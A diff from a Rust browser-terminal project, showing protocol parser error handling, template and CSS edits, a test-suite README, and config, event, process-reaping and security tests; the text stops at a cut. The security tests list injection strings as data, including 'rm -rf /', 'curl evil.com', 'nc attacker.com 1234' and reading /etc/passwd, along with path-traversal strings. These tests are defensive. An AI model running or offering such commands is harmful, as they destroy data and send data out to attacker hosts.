error!(r#"Invalid Terminado message: "set_size" length != 2"#); let msg = r#""set_size" length != 3"#;
return Err(()); error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
} }
let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| { let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| {
error!( let msg = r#""set_size" element 1 needs to be an integer"#;
r#"Invalid Terminado message: "set_size" element 1 needs to be an integer"# error!("Invalid Terminado message: {}", msg);
); ParseError::new(msg)
})?) })?)
.map_err(|_| { .map_err(|_| {
error!(r#"Invalid Terminado message. "set_size" rows out of range."#); let msg = r#""set_size" rows out of range"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?; })?;
let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| { let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| {
error!( let msg = r#""set_size" element 2 needs to be an integer"#;
r#"Invalid Terminado message: "set_size" element 2 needs to be an integer"# error!("Invalid Terminado message: {}", msg);
); ParseError::new(msg)
})?) })?)
.map_err(|_| { .map_err(|_| {
error!(r#"Invalid Terminado message. "set_size" cols out of range."#); let msg = r#""set_size" cols out of range"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?; })?;
Ok(TerminadoMessage::Resize { rows, cols }) Ok(TerminadoMessage::Resize { rows, cols })
} }
v => { v => {
error!("Invalid Terminado message: Unknown type {:?}", v); let msg = format!("Unknown type {:?}", v);
Err(()) error!("Invalid Terminado message: {}", msg);
Err(ParseError::new(msg))
} }
} }
} }
+11 -1
View File
@@ -78,7 +78,7 @@ body {
.hero-section { .hero-section {
text-align: center; text-align: center;
padding: 2rem 2rem 1.5rem 2rem; padding: 2rem 2rem 1.5rem 2rem;
max-width: 800px; max-width: 920px;
margin: 0 auto; margin: 0 auto;
} }
@@ -130,6 +130,7 @@ body {
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
backdrop-filter: blur(10px); backdrop-filter: blur(10px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
white-space: nowrap;
} }
.link-button:hover { .link-button:hover {
@@ -161,6 +162,15 @@ body {
box-shadow: 0 8px 24px rgba(239, 159, 118, 0.25); box-shadow: 0 8px 24px rgba(239, 159, 118, 0.25);
} }
.link-button.docs {
border-color: rgba(245, 194, 231, 0.3);
}
.link-button.docs:hover {
border-color: var(--ctp-pink);
box-shadow: 0 8px 24px rgba(245, 194, 231, 0.25);
}
.link-button.apt { .link-button.apt {
border-color: rgba(166, 209, 137, 0.3); border-color: rgba(166, 209, 137, 0.3);
} }
+23 -8
View File
@@ -44,29 +44,36 @@
/> />
<!-- Favicon --> <!-- Favicon -->
<link rel="icon" type="image/png" href="/static/favicon.png" /> <link rel="icon" type="image/png" href="/assets/favicon.png" />
<link rel="shortcut icon" type="image/png" href="/static/favicon.png" /> <link rel="shortcut icon" type="image/png" href="/assets/favicon.png" />
<!-- External Stylesheets --> <!-- External Stylesheets -->
<link <link
rel="stylesheet" rel="stylesheet"
href="{{ static_path }}/@xterm/xterm/css/xterm.css" href="{{ static_path }}/@xterm/xterm/css/xterm.css"
/> />
<link rel="stylesheet" href="/static/styles.css" /> <link rel="stylesheet" href="/assets/styles.css" />
<link <link
rel="stylesheet" rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
/> />
<!-- Preload critical resources --> <!-- Preload critical resources -->
<link rel="preload" href="/static/styles.css" as="style" /> <link rel="preload" href="/assets/styles.css" as="style" />
<link rel="preload" href="/static/terminal.js" as="script" /> <link rel="preload" href="/assets/terminal.js" as="script" />
<!-- DNS Prefetch for external resources --> <!-- DNS Prefetch for external resources -->
<link rel="dns-prefetch" href="https://cdnjs.cloudflare.com" /> <link rel="dns-prefetch" href="https://cdnjs.cloudflare.com" />
<!-- Theme Color --> <!-- Theme Color -->
<meta name="theme-color" content="#303446" /> <meta name="theme-color" content="#303446" />
<!-- Umami Analytics -->
<script
defer
src="https://unami.wittyoneoff.com/script.js"
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
></script>
</head> </head>
<body> <body>
<!-- Hero Section --> <!-- Hero Section -->
@@ -86,6 +93,14 @@
<i class="fab fa-github" aria-hidden="true"></i> <i class="fab fa-github" aria-hidden="true"></i>
<span>GitHub</span> <span>GitHub</span>
</a> </a>
<a
href="/assets/docs/index.html"
class="link-button docs"
aria-label="View Documentation"
>
<i class="fas fa-book" aria-hidden="true"></i>
<span>Docs</span>
</a>
<a <a
href="https://crates.io/crates/socktop" href="https://crates.io/crates/socktop"
class="link-button crate" class="link-button crate"
@@ -114,7 +129,7 @@
aria-label="Visit APT repository" aria-label="Visit APT repository"
> >
<i class="fas fa-box" aria-hidden="true"></i> <i class="fas fa-box" aria-hidden="true"></i>
<span>APT Repository</span> <span>APT Repo</span>
</a> </a>
</div> </div>
</section> </section>
@@ -158,7 +173,7 @@
> >
| Source Code: | Source Code:
<a <a
href=https://gt.wittyoneoff.com/jason/socktop-webterm" href="https://gt.wittyoneoff.com/jason/socktop-webterm"
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
>gitea</a >gitea</a
@@ -184,6 +199,6 @@
</script> </script>
<!-- Initialize Terminal --> <!-- Initialize Terminal -->
<script src="/static/terminal.js"></script> <script src="/assets/terminal.js"></script>
</body> </body>
</html> </html>
+177
View File
@@ -0,0 +1,177 @@
# WebTerm Test Suite
This directory contains the unit and integration tests for the socktop webterm project.
## Test Structure
Tests are organized into separate files by module:
### `event_tests.rs`
Tests for the `event` module, covering:
- **IO message creation**: Testing conversion from Bytes, String, and &str
- **IO equality and cloning**: Verifying proper equality checks and clone behavior
- **Binary and Unicode data**: Testing handling of binary data and Unicode strings
- **ChildDied events**: Testing the ChildDied event structure
**Total tests**: 11
### `terminado_tests.rs`
Comprehensive tests for the Terminado protocol implementation:
- **Serialization**: Converting TerminadoMessage to JSON format
- `stdin`, `stdout`, and `set_size` (resize) messages
- Special characters, Unicode, and empty strings
- **Deserialization**: Parsing JSON into TerminadoMessage
- Valid message formats
- Error handling for invalid JSON, wrong types, wrong lengths
- **Round-trip testing**: Serialize → Deserialize → Compare
- **Error cases**: Testing all failure modes
- Invalid JSON
- Wrong array lengths
- Non-string types where strings expected
- Unknown message types
**Total tests**: 38
### `config_tests.rs`
Integration tests verifying configuration constants and relationships:
- **Timeout values**: Heartbeat, client timeout, idle timeout
- **Timeout relationships**: Ensuring timeouts have logical relationships
- **PTY configuration**: Initial size, buffer sizes
- **Path validation**: Template paths, static paths, endpoints
- **Network configuration**: Default ports, hosts
- **Size boundaries**: Terminal size limits and validation
**Total tests**: 17
### `security_tests.rs`
Comprehensive security tests for command sanitization and validation:
- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters
- **Shell injection prevention**: Detecting and rejecting injection attempts
- **Environment variable security**: Sanitizing TERM and other env vars
- **Whitelist enforcement**: Only allowing approved shell commands
- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns
- **Input validation**: Length limits, null byte detection, control characters
- **File descriptor security**: No redirection operators in commands
- **Unicode and special characters**: ASCII-only enforcement
- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc.
- **Command execution logging**: Ensuring commands are safely loggable
- **Integration with Command::new()**: Verifying safe process spawning
- **Complete security checklist**: Comprehensive validation of all security requirements
**Total tests**: 28 (plus 11 in `src/security.rs`)
## Running Tests
### Run all tests
```bash
cargo test --all-targets --all-features
```
### Run specific test file
```bash
cargo test --test event_tests
cargo test --test terminado_tests
cargo test --test config_tests
```
### Run with output
```bash
cargo test -- --nocapture
```
### Run specific test
```bash
cargo test test_serialize_resize
```
## Test Coverage
Current test coverage includes:
- ✅ **Event handling**: IO messages and ChildDied events
- ✅ **Protocol parsing**: Terminado message serialization/deserialization
- ✅ **Configuration validation**: Timeout relationships and constants
- ✅ **Error handling**: Invalid input parsing and edge cases
- ✅ **Data types**: Binary data, Unicode, special characters
- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement
## CI/CD Integration
Tests run automatically in the Gitea Actions workflow:
1. **Test Job**: Runs `cargo test --all-targets --all-features`
2. **Lint Job**: Runs after tests pass
3. **Build Job**: Runs after linting passes
4. **Deploy Job**: Runs after build passes
## Adding New Tests
When adding new tests:
1. Choose the appropriate test file based on the module being tested
2. Follow the existing test naming convention: `test_<feature>_<scenario>`
3. Group related tests together with comments
4. Include both success and failure cases
5. Test edge cases (empty strings, zero values, max values, etc.)
6. Add documentation comments for complex test scenarios
### Example Test Structure
```rust
#[test]
fn test_feature_success_case() {
// Arrange
let input = setup_test_data();
// Act
let result = function_under_test(input);
// Assert
assert_eq!(result, expected_value);
}
#[test]
fn test_feature_error_case() {
let invalid_input = "invalid";
let result = function_under_test(invalid_input);
assert!(result.is_err());
}
```
## Test Guidelines
- **Fast**: Unit tests should run in milliseconds
- **Isolated**: Each test should be independent
- **Deterministic**: Tests should always produce the same result
- **Clear**: Test names should clearly describe what is being tested
- **Comprehensive**: Test happy paths, error paths, and edge cases
## Clippy Allowances
Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values.
## Security Features
The test suite includes comprehensive security validation to prevent:
- Shell injection attacks
- Path traversal attempts
- Command injection via metacharacters
- Null byte injection
- Execution from untrusted directories
- Unicode/encoding tricks
- Environment variable injection
The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution.
## Total Test Count
- **Unit tests** (in src/):
- terminado.rs: 6 tests
- security.rs: 11 tests
- **Integration tests** (in tests/):
- event_tests.rs: 11 tests
- terminado_tests.rs: 38 tests
- config_tests.rs: 17 tests
- security_tests.rs: 28 tests
- **Total**: 111 tests
All tests must pass before code can be merged.
+291
View File
@@ -0,0 +1,291 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Integration tests for configuration and constants
#![allow(clippy::assertions_on_constants)]
use std::time::Duration;
// Test that reasonable timeout values are used
#[test]
fn test_heartbeat_interval_reasonable() {
// Heartbeat should be frequent enough to catch disconnects quickly
// but not so frequent it creates unnecessary traffic
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
assert!(
HEARTBEAT_INTERVAL.as_secs() >= 1,
"Heartbeat interval too short"
);
assert!(
HEARTBEAT_INTERVAL.as_secs() <= 30,
"Heartbeat interval too long"
);
}
#[test]
fn test_client_timeout_reasonable() {
// Client timeout should be longer than heartbeat interval
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
assert!(
CLIENT_TIMEOUT > HEARTBEAT_INTERVAL,
"Client timeout must be longer than heartbeat interval"
);
assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short");
assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long");
}
#[test]
fn test_idle_timeout_reasonable() {
// Idle timeout should be long enough for legitimate use
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short");
assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long");
}
#[test]
fn test_idle_check_interval_reasonable() {
// Idle check should be frequent enough to be responsive
// but not so frequent it wastes resources
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
assert!(
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
"Idle check interval must be less than idle timeout"
);
assert!(
IDLE_CHECK_INTERVAL.as_secs() >= 10,
"Idle check too frequent"
);
assert!(
IDLE_CHECK_INTERVAL.as_secs() <= 120,
"Idle check too infrequent"
);
}
#[test]
fn test_timeout_relationships() {
// Verify the logical relationship between different timeouts
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
// Client timeout should be at least 2x heartbeat interval
assert!(
CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2,
"Client timeout should be at least 2x heartbeat interval"
);
// Idle timeout should be much longer than client timeout
assert!(
IDLE_TIMEOUT > CLIENT_TIMEOUT * 10,
"Idle timeout should be significantly longer than client timeout"
);
// Idle check should be less than idle timeout
assert!(
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
"Idle check interval must be less than idle timeout"
);
}
#[test]
fn test_pty_initial_size() {
// Test that initial PTY size is reasonable
const INITIAL_ROWS: u16 = 24;
const INITIAL_COLS: u16 = 80;
// Verify the constants are within reasonable ranges
assert!(INITIAL_ROWS > 0, "Initial rows should be positive");
assert!(INITIAL_COLS > 0, "Initial cols should be positive");
assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500");
assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000");
}
#[test]
fn test_buffer_size() {
// Test that buffer size for reading from PTY is reasonable
const BUFFER_SIZE: usize = 8192;
// Verify it's a power of 2 (which implies it's >= 1)
assert!(
BUFFER_SIZE.is_power_of_two(),
"Buffer size should be power of 2"
);
// Verify it's in a reasonable range (power of 2 check above ensures >= 1)
assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use");
}
// Test path validation
#[test]
fn test_template_path_format() {
let template_path = "./templates/term.html";
assert!(
template_path.starts_with("./"),
"Template path should be relative"
);
assert!(
template_path.ends_with(".html"),
"Template should be HTML file"
);
}
#[test]
fn test_static_paths_format() {
let static_paths = vec![
"./static/terminal.js",
"./static/terminado-addon.js",
"./static/styles.css",
"./static/bg.png",
"./static/favicon.png",
];
for path in static_paths {
assert!(
path.starts_with("./static/"),
"Static file {} should be in ./static/ directory",
path
);
}
}
// Test endpoint format
#[test]
fn test_endpoint_format() {
let websocket_endpoint = "/websocket";
let static_endpoint = "/static";
let assets_endpoint = "/assets";
assert!(
websocket_endpoint.starts_with('/'),
"Endpoint should start with /"
);
assert!(
!websocket_endpoint.ends_with('/'),
"Endpoint should not end with /"
);
assert!(
static_endpoint.starts_with('/'),
"Static endpoint should start with /"
);
assert!(
assets_endpoint.starts_with('/'),
"Assets endpoint should start with /"
);
}
#[test]
fn test_default_shell() {
let default_shell = "/bin/sh";
assert!(
default_shell.starts_with('/'),
"Shell path should be absolute"
);
assert!(
!default_shell.contains(' '),
"Shell path should not contain spaces"
);
}
#[test]
fn test_default_port() {
let default_port: u16 = 8082;
assert!(
default_port >= 1024,
"Port should not be in privileged range"
);
// Note: u16 max is 65535, so this is always true for u16
// but we keep it for documentation purposes
}
#[test]
fn test_default_host() {
let localhost = "127.0.0.1";
let all_interfaces = "0.0.0.0";
// Verify valid IP addresses
assert_eq!(
localhost.split('.').count(),
4,
"Localhost should have 4 octets"
);
assert_eq!(
all_interfaces.split('.').count(),
4,
"0.0.0.0 should have 4 octets"
);
}
// Test environment variables
#[test]
fn test_term_env_var() {
let term_var = "xterm";
// String literals are never empty, but we verify the expected value
assert_eq!(term_var, "xterm", "TERM variable should be xterm");
assert!(
!term_var.contains(' '),
"TERM variable should not contain spaces"
);
}
// Test size boundaries
#[test]
fn test_terminal_size_boundaries() {
// Minimum valid size
let min_rows: u16 = 1;
let min_cols: u16 = 1;
assert!(min_rows > 0, "Minimum rows must be positive");
assert!(min_cols > 0, "Minimum cols must be positive");
// Maximum reasonable size
let max_rows: u16 = 1000;
let max_cols: u16 = 1000;
assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable");
assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable");
}
#[test]
fn test_zero_size_handling() {
// Zero-sized terminals should be rejected
let zero_rows: u16 = 0;
let zero_cols: u16 = 0;
// These would be rejected by the resize handler
assert_eq!(zero_rows, 0);
assert_eq!(zero_cols, 0);
// In actual code, these should trigger an early return
}
// Test WebSocket message size limits
#[test]
fn test_message_size_reasonable() {
// Messages should have reasonable size limits
const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB
const MIN_MESSAGE_SIZE: usize = 8192; // 8KB
const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB
// Verify the relationship between constants
assert!(
MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE,
"Max message size should be at least {} bytes",
MIN_MESSAGE_SIZE
);
assert!(
MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE,
"Max message size should not exceed {} bytes",
MAX_ALLOWED_SIZE
);
}
+94
View File
@@ -0,0 +1,94 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Unit tests for event.rs module
use bytes::Bytes;
use webterm::event::{ChildDied, IO};
#[test]
fn test_io_from_bytes() {
let data = Bytes::from("test data");
let io = IO::from(data.clone());
assert_eq!(io.0, data);
}
#[test]
fn test_io_from_string() {
let data = String::from("test string");
let io = IO::from(data.clone());
assert_eq!(io.0, Bytes::from(data));
}
#[test]
fn test_io_from_str() {
let data = "test str";
let io = IO::from(data);
assert_eq!(io.0, Bytes::from(data));
}
#[test]
fn test_io_equality() {
let io1 = IO::from("same data");
let io2 = IO::from("same data");
let io3 = IO::from("different data");
assert_eq!(io1, io2);
assert_ne!(io1, io3);
}
#[test]
fn test_io_clone() {
let original = IO::from("original data");
let cloned = original.clone();
assert_eq!(original, cloned);
assert_eq!(original.0, cloned.0);
}
#[test]
fn test_io_empty() {
let empty = IO::from("");
assert_eq!(empty.0.len(), 0);
assert!(empty.0.is_empty());
}
#[test]
fn test_io_binary_data() {
let binary_data = vec![0u8, 1, 2, 3, 255];
let bytes = Bytes::from(binary_data.clone());
let io = IO::from(bytes);
assert_eq!(io.0.as_ref(), binary_data.as_slice());
}
#[test]
fn test_io_unicode() {
let unicode = "Hello 世界 🌍";
let io = IO::from(unicode);
assert_eq!(io.0, Bytes::from(unicode));
}
#[test]
fn test_io_large_data() {
let large_string = "a".repeat(10000);
let io = IO::from(large_string.as_str());
assert_eq!(io.0.len(), 10000);
}
#[test]
fn test_child_died_creation() {
let event = ChildDied();
// ChildDied is a unit struct, just verify it can be created
let _cloned = event.clone();
}
#[test]
fn test_child_died_clone() {
let event1 = ChildDied();
let event2 = event1.clone();
// Both should exist without panicking
// ChildDied is a zero-sized type, so dropping is a no-op
let _ = event1;
let _ = event2;
}
+144
View File
@@ -0,0 +1,144 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Regression tests for session teardown (`webterm::reap_child`).
//
// Background: `Terminal::stopping` used to call `child.kill()` then a blocking
// `child.wait()` on the actix worker thread. When the signal was refused
// (sessions run as another uid, server without CAP_KILL) or only reached the
// shell (a non-interactive bash defers signals while a foreground command
// runs), the child survived and the worker hung forever — every other request
// to the server then timed out. These tests pin the fixed behaviour: the whole
// process group is signalled, SIGHUP escalates to SIGKILL, and the caller is
// never blocked.
use std::io::Read;
use std::time::{Duration, Instant};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
/// True while `pid` exists and is not a zombie (kill(pid, 0) also succeeds on
/// zombies, so read /proc directly).
fn alive(pid: i32) -> bool {
match std::fs::read_to_string(format!("/proc/{pid}/status")) {
Ok(s) => !s
.lines()
.any(|l| l.starts_with("State:") && l.contains("Z (zombie)")),
Err(_) => false,
}
}
fn wait_gone(pid: i32, timeout: Duration) -> bool {
let start = Instant::now();
while start.elapsed() < timeout {
if !alive(pid) {
return true;
}
std::thread::sleep(Duration::from_millis(50));
}
!alive(pid)
}
/// Spawn `script` under `sh -c` in a fresh pty. The script must print the pid
/// of its long-running grandchild as its first line; that pid is returned along
/// with the pty child handle.
fn spawn_in_pty(script: &str) -> (Box<dyn portable_pty::Child + Send>, i32) {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("sh");
cmd.arg("-c");
cmd.arg(script);
let child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut buf = Vec::new();
let mut byte = [0u8; 1];
let deadline = Instant::now() + Duration::from_secs(5);
while Instant::now() < deadline {
match reader.read(&mut byte) {
Ok(1) if byte[0] == b'\n' => break,
Ok(1) => buf.push(byte[0]),
_ => break,
}
}
let grandchild: i32 = String::from_utf8_lossy(&buf)
.trim()
.parse()
.expect("grandchild pid line");
assert!(
alive(grandchild),
"grandchild {grandchild} should be running"
);
// Keep the master alive for the duration of the test (mirrors the
// server's reader thread holding a cloned fd), so the kernel does not
// hang up the pty for us and the reaper alone has to do the work.
std::mem::forget(pair.master);
std::mem::forget(reader);
(child, grandchild)
}
#[test]
fn reap_child_returns_immediately_and_kills_whole_process_group() {
// sh waits on a foreground sleep: signalling sh alone would be deferred.
let (child, sleeper) = spawn_in_pty("sleep 30 & echo $!; wait");
let shell = child.process_id().expect("pid") as i32;
let t0 = Instant::now();
let reaper = webterm::reap_child(child);
assert!(
t0.elapsed() < Duration::from_millis(500),
"reap_child must not block the caller (took {:?})",
t0.elapsed()
);
reaper.join().expect("reaper thread");
assert!(
wait_gone(shell, Duration::from_secs(2)),
"shell {shell} survived"
);
assert!(
wait_gone(sleeper, Duration::from_secs(2)),
"grandchild {sleeper} was orphaned instead of killed with its group"
);
}
#[test]
fn reap_child_escalates_to_sigkill_when_sighup_is_ignored() {
// `trap '' HUP` makes sh ignore SIGHUP and the ignored disposition is
// inherited across exec, so sleep ignores it too — exactly the shape of a
// TUI that swallows HUP.
let (child, sleeper) = spawn_in_pty("trap '' HUP; sleep 30 & echo $!; wait");
let shell = child.process_id().expect("pid") as i32;
let t0 = Instant::now();
webterm::reap_child(child).join().expect("reaper thread");
let took = t0.elapsed();
assert!(
took >= Duration::from_secs(2),
"should have waited out the SIGHUP grace period (took {took:?})"
);
assert!(
took < Duration::from_secs(8),
"SIGKILL escalation should finish well inside the deadline (took {took:?})"
);
assert!(
wait_gone(shell, Duration::from_secs(2)),
"shell {shell} survived SIGKILL"
);
assert!(
wait_gone(sleeper, Duration::from_secs(2)),
"grandchild {sleeper} survived SIGKILL"
);
}
+494
View File
@@ -0,0 +1,494 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Security tests for command sanitization and validation
use std::path::Path;
use std::process::Command;
// ============================================================================
// Command Path Validation Tests
// ============================================================================
#[test]
fn test_command_path_must_be_absolute() {
// Commands should use absolute paths to avoid PATH manipulation attacks
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
for cmd in safe_commands {
assert!(
cmd.starts_with('/'),
"Command '{}' should be an absolute path",
cmd
);
}
}
#[test]
fn test_command_path_no_relative_components() {
// Commands should not contain relative path components like ../ or ./
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in commands {
assert!(
!cmd.contains(".."),
"Command '{}' should not contain '..' (path traversal)",
cmd
);
assert!(
!cmd.starts_with("./"),
"Command '{}' should not start with './' (relative path)",
cmd
);
}
}
#[test]
fn test_reject_shell_injection_attempts() {
// These strings should never be allowed in command paths
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
let safe_command = "/bin/sh";
for pattern in dangerous_patterns {
assert!(
!safe_command.contains(pattern),
"Command should not contain shell metacharacter '{}'",
pattern
);
}
}
#[test]
fn test_command_no_spaces() {
// Command paths should not contain spaces (use absolute paths only)
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in safe_commands {
assert!(
!cmd.contains(' '),
"Command path '{}' should not contain spaces",
cmd
);
}
}
#[test]
fn test_command_path_canonical() {
// Command paths should be canonical (no double slashes, etc.)
let commands = vec!["/bin/sh", "/usr/bin/bash"];
for cmd in commands {
assert!(
!cmd.contains("//"),
"Command '{}' should not contain double slashes",
cmd
);
}
}
// ============================================================================
// Environment Variable Security Tests
// ============================================================================
#[test]
fn test_term_env_var_sanitized() {
// TERM variable should be a safe, known value
let term_value = "xterm";
// Should not contain shell metacharacters
assert!(!term_value.contains(';'));
assert!(!term_value.contains('&'));
assert!(!term_value.contains('|'));
assert!(!term_value.contains('`'));
assert!(!term_value.contains('$'));
assert!(!term_value.contains('\n'));
assert!(!term_value.contains('\r'));
}
#[test]
fn test_env_var_no_null_bytes() {
// Environment variables should not contain null bytes
let term_value = "xterm";
assert!(
!term_value.contains('\0'),
"TERM variable should not contain null bytes"
);
}
#[test]
fn test_safe_term_values() {
// Only allow known-safe TERM values
let safe_terms = vec![
"xterm",
"xterm-256color",
"screen",
"screen-256color",
"vt100",
"vt220",
"linux",
"alacritty",
];
for term in safe_terms {
// Verify they are alphanumeric with hyphens only
assert!(
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
"TERM value '{}' should only contain alphanumeric and hyphens",
term
);
}
}
// ============================================================================
// Command Arguments Security Tests
// ============================================================================
#[test]
fn test_command_builder_no_shell_expansion() {
// Using Command::new prevents shell expansion
let cmd = "/bin/sh";
let command = Command::new(cmd);
// Command::new does not invoke a shell, so these would be literal arguments
// This is the safe way to spawn processes
let program = command.get_program();
assert_eq!(program, cmd);
}
#[test]
fn test_no_shell_command_string_execution() {
// We should never use sh -c "command string" pattern
// This test documents that we use Command::new, not shell strings
let safe_command = "/bin/sh";
// Verify we're not constructing shell command strings
assert!(!safe_command.contains(" -c "));
assert!(!safe_command.contains(" -e "));
}
#[test]
fn test_reject_command_injection_patterns() {
// These patterns indicate command injection attempts
let injection_attempts = vec![
"/bin/sh; rm -rf /",
"/bin/bash && curl evil.com",
"/bin/sh | nc attacker.com 1234",
"/bin/bash `whoami`",
"/bin/sh $(cat /etc/passwd)",
];
for attempt in injection_attempts {
// Any of these characters indicate shell injection
let has_injection = attempt.contains(';')
|| attempt.contains('&')
|| attempt.contains('|')
|| attempt.contains('`')
|| attempt.contains("$(");
assert!(
has_injection,
"Should detect injection attempt in: {}",
attempt
);
}
}
// ============================================================================
// Path Traversal Prevention Tests
// ============================================================================
#[test]
fn test_no_path_traversal_in_command() {
// Commands should not allow path traversal
let path_traversal_attempts = vec![
"../../../bin/sh",
"/bin/../../../etc/passwd",
"./evil.sh",
"~/malicious.sh",
];
for attempt in path_traversal_attempts {
assert!(
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
"Path traversal attempt: {}",
attempt
);
}
}
#[test]
fn test_safe_command_paths_exist() {
// Common safe shell paths that should exist on most systems
let common_shells = vec!["/bin/sh"];
for shell in common_shells {
if Path::new(shell).exists() {
// Verify it's an absolute path
assert!(shell.starts_with('/'), "Shell path should be absolute");
}
}
}
// ============================================================================
// Input Size Limits Tests
// ============================================================================
#[test]
fn test_command_path_reasonable_length() {
// Command paths should have reasonable length limits
let max_path_length = 4096; // Common PATH_MAX on Linux
let command = "/bin/sh";
assert!(
command.len() < max_path_length,
"Command path should be less than {} bytes",
max_path_length
);
}
#[test]
fn test_reject_excessively_long_paths() {
let excessive_path = "/".to_string() + &"a".repeat(10000);
assert!(
excessive_path.len() > 4096,
"Test path should exceed reasonable limits"
);
// In real code, we should reject paths this long
}
// ============================================================================
// Whitelist Validation Tests
// ============================================================================
#[test]
fn test_allowed_shells_whitelist() {
// Define a whitelist of allowed shells
let allowed_shells = vec![
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/usr/bin/bash",
"/usr/bin/zsh",
"/bin/dash",
];
// All allowed shells should be absolute paths
for shell in &allowed_shells {
assert!(
shell.starts_with('/'),
"Whitelisted shell '{}' must be absolute path",
shell
);
}
// All allowed shells should not contain dangerous characters
for shell in &allowed_shells {
assert!(
!shell.contains(';'),
"Whitelisted shell '{}' should not contain ';'",
shell
);
assert!(
!shell.contains('&'),
"Whitelisted shell '{}' should not contain '&'",
shell
);
}
}
#[test]
fn test_validate_command_against_whitelist() {
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
let test_command = "/bin/sh";
assert!(
allowed_shells.contains(&test_command),
"Command should be in whitelist"
);
let dangerous_command = "/tmp/malicious.sh";
assert!(
!allowed_shells.contains(&dangerous_command),
"Dangerous command should not be in whitelist"
);
}
// ============================================================================
// Null Byte Injection Tests
// ============================================================================
#[test]
fn test_no_null_bytes_in_command() {
// Null bytes can truncate commands in some contexts
let safe_command = "/bin/sh";
assert!(
!safe_command.contains('\0'),
"Command should not contain null bytes"
);
}
#[test]
fn test_detect_null_byte_injection() {
// Test that we can detect null byte injection attempts
let injection = "/bin/sh\0malicious";
assert!(
injection.contains('\0'),
"Should detect null byte in command"
);
}
// ============================================================================
// File Descriptor Security Tests
// ============================================================================
#[test]
fn test_no_file_descriptor_redirection_in_command() {
// Commands should not contain file descriptor redirections
let command = "/bin/sh";
assert!(!command.contains('>'), "No output redirection");
assert!(!command.contains('<'), "No input redirection");
assert!(!command.contains("2>&1"), "No stderr redirection");
}
// ============================================================================
// Unicode and Special Character Tests
// ============================================================================
#[test]
fn test_command_ascii_only() {
// Command paths should be ASCII to avoid Unicode tricks
let safe_command = "/bin/sh";
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
}
#[test]
fn test_no_control_characters_in_command() {
// Commands should not contain control characters
let safe_command = "/bin/sh";
for ch in safe_command.chars() {
assert!(
!ch.is_control() || ch == '\n' || ch == '\t',
"Command should not contain control character: {:?}",
ch
);
}
}
// ============================================================================
// Symlink and Special File Tests
// ============================================================================
#[test]
